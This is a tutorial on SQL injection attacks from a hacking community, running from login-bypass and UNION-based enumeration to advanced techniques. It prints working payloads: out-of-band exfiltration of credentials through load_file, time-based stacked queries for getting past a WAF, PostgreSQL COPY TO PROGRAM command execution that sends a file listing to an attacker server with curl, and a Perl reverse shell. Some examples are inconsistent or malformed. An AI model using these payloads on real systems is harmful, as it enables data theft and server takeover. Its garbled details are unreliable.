ADVANCED SQL INJECTION Berserkr COMMUNITY SERVER https://discord.gg/ktSqe3Bmck Written By p3nnyW for Berserkr Thanks CyberDecker for the input. Thanks hacktricks for the inspiration SQLi (Structured Query Language Injection) ADVANCED Injection is a security vulnerability that allows an attacker to alter backend SQL statements by manipulating the user supplied data. Injection occurs when the user input is sent to an interpreter as part of command or query and trick the interpreter into executing unintended commands and gives access. to unauthorized data. The SQL command which when executed by web application can also expose the back-end database. This is the simplest test to discover an SQLi vulnerability ' OR 1=1-- - What's happening in the statement above? A few things actually, lets break it down. Imagen a normal website where you have a login form. Its highly likely that a SQL database is storing the account names to said site. The ' lets us append an already existing SQL query. Then we have OR 1 1. what that really says is that something is TRUE. So If you would write ' mypass OR 1=1 what it really says is that the password is mypass or TRUE, thus It will always be TRUE. The database will interpret this as if you supplied the correct password. That makes sense since it's after all, TRUE. The -- - at the end is to comment out any other SQL commands that might had followed. We only want our appended code to be read. And commenting out anything after our statements also makes sense. In a real world scenario however, this simple little trick would likely not work. Lets go over some of the inner workings of SQL SQL is designed to communicate with data stored in a database. I created the following database: CREATE TABLE Users ( ID int, Email varchar(255), Password varchar(255), RegDate varchar(255), PhysicalAdd varchar(255) ); CREATE TABLE Products ( ID int, ProductName varchar(255), ProductDescription varchar(255), RroductPrice varchar(255), Quantity varchar(255) ); INSERT INTO Users (ID, Email, Password, RegDate, PhysicalAdd) VALUES (159, 'mail@mail.com', 'mystrongpassword12345', '2023-01-01', 'Swetown 10008 Sweden'), (11, 'mail2@mail.com', 'mystrongpassword123456', '2023-01-02', 'town 10007 Sweden'); INSERT INTO Products (ID, ProductName, ProductDescription, RroductPrice, Quantity) VALUES (2, 'Mirrors', 'You will need mirrors', 'SEK 1000', '110'), (300, 'Car', 'Volvo XC90', 'SEK 700,000', '23'); Now lets say we wanted to query the Users table we could write an SQL query that could look something like this. SELECT RegDate FROM Users WHERE Email = 'mail@mail.com' ; The return from the database would be 2023 01 01. Sometimes we need to use a user supplied query. For example: http.open("GET", "https://site.site/products/777") http.send() Here we have a user making a GET request to an API for a product with ID 300 The API is running this SQL query SELECT * FROM Products WHERE ID='300'; The return would everything in the table Products that corresponds to ID 300. This is due to the use of the * in the query. The return would look like this: Now lets look at what a UNION query would look like: SELECT Email, Password FROM Users UNION SELECT Productname, Quantity FROM Products; The return would look like this. With the UNION statement we are querying two different tables in the database. Something to keep in mind is that databases also holds tables that contains general information about metadata. Like keeping track of the database schema. The sqlite_master table would have the following information in it. SELECT name FROM sqlite_master WHERE type='table' ORDER BY name; How do perform an SQL Injection attack? A successful attack could: Read sensitive data from the DB Modify the data Extract data Write files into the file system Issue other types of commands to the OS There are 2 different types of attacks. In band Out-of-band & Blind IN BAND ATTACKS These are your classical SQLis. Here is an example. https://www.site.com/products.php?id=1' <--- NOTE THE SINGEL QUOTE If we did that we might get an error message saying that we have a syntax error in our SQL query. Moreover, it might provide us with what Engine is running in the backend. Error messages are your friend! We play a bit more with SQL syntax and try something that's UNION based. A few things to remember here: The number of columns in table A must be the same as in table B, and any engine besides MySQL needs the datatypes to be the same. If we append UNION select 1 after the value of id in your URI we could get another error saying that "The used SELECT statements have a different number of columns." That's interesting since now we can enumerate the correct number of columns by keep adding columns until we dont see the error message anymore. In order to see what column gets echoed back we insert an invalid value such as 10 as the value of the id parameter. That forces the system to only execute the second query, and that's what we would except to see. ../products.php?id=-10 UNION select 1,2,3,4 When we run that we see a return from the second column. We now know that we can modify the second query at second column to get a response. If we know that, we would try and execute queries that would leak more valuable information by inserting user() instead of the 2 in the query. Out-Of-Band Attacks These are attacks that wont return any value directly to the attacker. Instead the data is returned to another domain name. If MySQL is running with an empty secure_file_priv global system variable, as Is default in versions 5.5.52 and the MariaDB fork, an attacker can ex-fil data, send it to the load_file function that would create a request to a domain name and putting data in the request. Here is an example: SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.', (SELECT+password),'.',example.com\\test.txt')) Each engine has different versions of syntax for the same issue. The only truly effective mitigation is to use parameterized queries when accessing the DB. **Abjusing JSON-based SQL** Any modern engine like PostreSQL natively supports JSON as data that can be queried. This is a neat trick to trick any WAF by stacking queries. id=1; select pg_sleep(10);-- 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - Even If postgres supports query stacking. If it expects to return 1 response but we manipulate the time to force it to respond to 2 queries. That will cause an error. RCE to program '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec;``` COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~>fdopen($c,w);system$_ while<>;'''; There's a staggering number of techniques to bypass, read or manipulate data in a SQL database. To ensure that you'll not fall victim to a SQL Injection you need to follow the latest best practice configuration when setting up your project. **How to not get owned** * When possible use parameterized queries. * Make sure your input sanitation is up to snuff. * Encrypt sensitive data. Most important of all. Keep yourself up-to-date. Happy Hacking!